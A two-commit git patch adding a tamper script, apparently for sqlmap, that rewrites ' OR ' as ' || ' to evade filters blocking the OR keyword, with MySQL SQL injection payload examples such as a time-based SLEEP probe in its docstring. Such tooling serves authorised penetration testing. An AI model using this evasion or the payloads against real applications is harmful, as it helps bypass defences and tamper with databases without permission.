From 4d8cbece456b367598893b1acd0135903c47a297 Mon Sep 17 00:00:00 2001 From: Anonymous ethc4 Date: Sat, 12 Jul 2025 07:00:06 -0400 Subject: [PATCH 1/2] Create or2logicaloroperator.py Added tamper script or2logicaloroperator --- tamper/or2logicaloroperator.py | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 tamper/or2logicaloroperator.py diff --git a/tamper/or2logicaloroperator.py b/tamper/or2logicaloroperator.py new file mode 100644 index 000000000..fccd0dc49 --- /dev/null +++ b/tamper/or2logicaloroperator.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 +""" +Tamper script to replace logical OR with double pipe (||) +Useful for evading weak filters that blacklist 'OR' + +Author: relunsec + +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def tamper(payload, **kwargs): + """ + Replaces instances of logical OR with || operator + + Example: + Input: 1 OR 1=1 + Output: 1 || 1=1 + Requirement: + * MySQL + >>> tamper("0' OR SLEEP(5)") + "0' || SLEEP(5)" + """ + if payload: + # Replace only ' OR ' (with spaces) to avoid breaking string literals + payload = payload.replace(" OR ", " || ") + return payload From dcc9d3c62adaebac7d79bb4010b3e2f923144184 Mon Sep 17 00:00:00 2001 From: Anonymous ethc4 Date: Mon, 14 Jul 2025 12:06:51 -0400 Subject: [PATCH 2/2] Update or2logicaloroperator.py --- tamper/or2logicaloroperator.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/tamper/or2logicaloroperator.py b/tamper/or2logicaloroperator.py index fccd0dc49..a74ed7a45 100644 --- a/tamper/or2logicaloroperator.py +++ b/tamper/or2logicaloroperator.py @@ -25,5 +25,4 @@ def tamper(payload, **kwargs): """ if payload: # Replace only ' OR ' (with spaces) to avoid breaking string literals - payload = payload.replace(" OR ", " || ") - return payload + return payload.replace(" OR ", " || ")